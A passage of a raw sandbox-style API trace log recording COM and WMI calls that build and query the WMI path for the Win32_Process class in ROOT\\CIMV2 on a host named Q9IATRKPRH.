WbemDefPath:IUnknown:AddRef (This=0x1bc40580) returned 0x3 [0156.553] WbemDefPath:IUnknown:Release (This=0x1bc40580) returned 0x2 [0156.553] WbemDefPath:IWbemPath:SetText (This=0x1bc40580, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0156.553] IWbemClassObject:Get (in: This=0x1bbb5b70, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0156.553] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0156.554] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0156.554] IWbemClassObject:Get (in: This=0x1bbb5b70, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0156.554] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0156.554] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0156.554] IWbemClassObject:Get (in: This=0x1bbb5b70, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0156.554] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0156.554] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0156.554] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0156.554] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0156.554] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0156.554] IUnknown:Release (This=0x1a943398) returned 0x1 [0156.556] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bbd8400) returned 0x0 [0156.556] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbd8400, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0156.556] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbd8400, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc404c0) returned 0x0 [0156.556] WbemDefPath:IUnknown:Release (This=0x1bbd8400) returned 0x0 [0156.556] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc404c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc404c0) returned 0x0 [0156.556] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc404c0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0156.557] WbemDefPath:IUnknown:AddRef (This=0x1bc404c0) returned 0x3 [0156.557] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc404c0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0156.557] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc404c0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0156.557] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc404c0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bbd8440) returned 0x0 [0156.557] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbd8440, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0156.557] WbemDefPath:IUnknown:Release (This=0x1bbd8440) returned 0x3 [0156.557] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0156.557] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0156.557] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc404c0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0156.557] WbemDefPath:IUnknown:Release (This=0x1bc404c0) returned 0x2 [0156.557] WbemDefPath:IUnknown:Release (This=0x1bc404c0) returned 0x1 [0156.557] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0156.557] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0156.557] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc404c0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc404c0) returned 0x0 [0156.557] WbemDefPath:IUnknown:AddRef (This=0x1bc404c0) returned 0x3 [0156.557] WbemDefPath:IUnknown:Release (This=0x1bc404c0) returned 0x2 [0156.557] WbemDefPath:IWbemPath:SetText (This=0x1bc404c0, uMode=0x4, pszPath="") returned 0x0 [0156.557] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0156.557] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0156.557] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0156.557] IUnknown:Release (This=0x1a943398) returned 0x1 [0156.559] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bbd8400) returned 0x0 [0156.559] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbd8400, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0156.559] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbd8400, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc40400) returned 0x0 [0156.559] WbemDefPath:IUnknown:Release (This=0x1bbd8400) returned 0x0 [0156.559] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40400, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc40400) returned 0x0 [0156.559] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40400, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0156.560] WbemDefPath:IUnknown:AddRef (This=0x1bc40400) returned 0x3 [0156.560] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40400, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0156.560] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40400, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0156.560] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40400, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bbd8380) returned 0x0 [0156.560] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbd8380, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0156.560] WbemDefPath:IUnknown:Release (This=0x1bbd8380) returned 0x3 [0156.560] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0156.560] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0156.560] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40400, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0156.560] WbemDefPath:IUnknown:Release (This=0x1bc40400) returned 0x2 [0156.560] WbemDefPath:IUnknown:Release (This=0x1bc40400) returned 0x1 [0156.560] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0156.560] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0156.560] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40400, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc40400) returned 0x0 [0156.560] WbemDefPath:IUnknown:AddRef (This=0x1bc40400) returned 0x3 [0156.560] WbemDefPath:IUnknown:Release (This=0x1bc40400) returned 0x2 [0156.560] WbemDefPath:IWbemPath:SetText (This=0x1bc40400, uMode=0x4, pszPath="") returned 0x0 [0156.560] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40400, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0156.560] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc404c0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0156.560] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bc40400, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0156.560] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc40400, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0156.560] WbemDefPath:IWbemPath:SetServer (This=0x1bc40400, Name="Q9IATRKPRH") returned 0x0 [0156.560] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0156.561] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0156.561] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0156.561] IUnknown:Release (This=0x1a943398) returned 0x1 [0156.562] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bbd83a0) returned 0x0 [0156.562] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbd83a0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0156.562] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbd83a0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc40280) returned 0x0 [0156.562] WbemDefPath:IUnknown:Release (This=0x1bbd83a0) returned 0x0 [0156.562] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40280, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc40280) returned 0x0 [0156.563] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40280, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0156.563] WbemDefPath:IUnknown:AddRef (This=0x1bc40280) returned 0x3 [0156.563] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40280, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0156.563] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40280, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0156.563] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40280, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bbd83e0) returned 0x0 [0156.563] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbd83e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0156.563] WbemDefPath:IUnknown:Release (This=0x1bbd83e0) returned 0x3 [0156.563] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0156.563] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0156.563] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40280, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0156.563] WbemDefPath:IUnknown:Release (This=0x1bc40280) returned 0x2 [0156.563] WbemDefPath:IUnknown:Release (This=0x1bc40280) returned 0x1 [0156.563] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0156.563] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0156.563] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40280, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc40280) returned 0x0 [0156.563] WbemDefPath:IUnknown:AddRef (This=0x1bc40280) returned 0x3 [0156.563] WbemDefPath:IUnknown:Release (This=0x1bc40280) returned 0x2 [0156.563] WbemDefPath:IWbemPath:SetText (This=0x1bc40280, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0156.563] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40400, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0156.563] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40280, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0156.564] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40280, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0156.564] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40280, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0156.564] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bc40400) returned 0x0 [0156.564] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40280, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0156.564] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc40280, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0156.564] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc40280, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0156.564] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc40400, uIndex=0x0, pszName="ROOT") returned 0x0 [0156.564] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc40280, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0156.564] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc40280, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0156.564] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc40400, uIndex=0x1, pszName="CIMV2") returned 0x0 [0156.564] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bc40400, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0156.564] WbemDefPath:IWbemPath:SetClassName (This=0x1bc40400, Name="Win32_Process") returned 0x0 [0156.564] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc40400, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0156.564] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40400, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0156.564] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40400, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0156.564] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40400, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0156.564] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc40400, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0156.564] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40400, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0156.564] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40400, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0156.564] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40400, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0156.564] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40640, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0156.564] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40640, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0156.565] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40640, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0156.565] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40400, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0156.565] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40400, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0156.565] 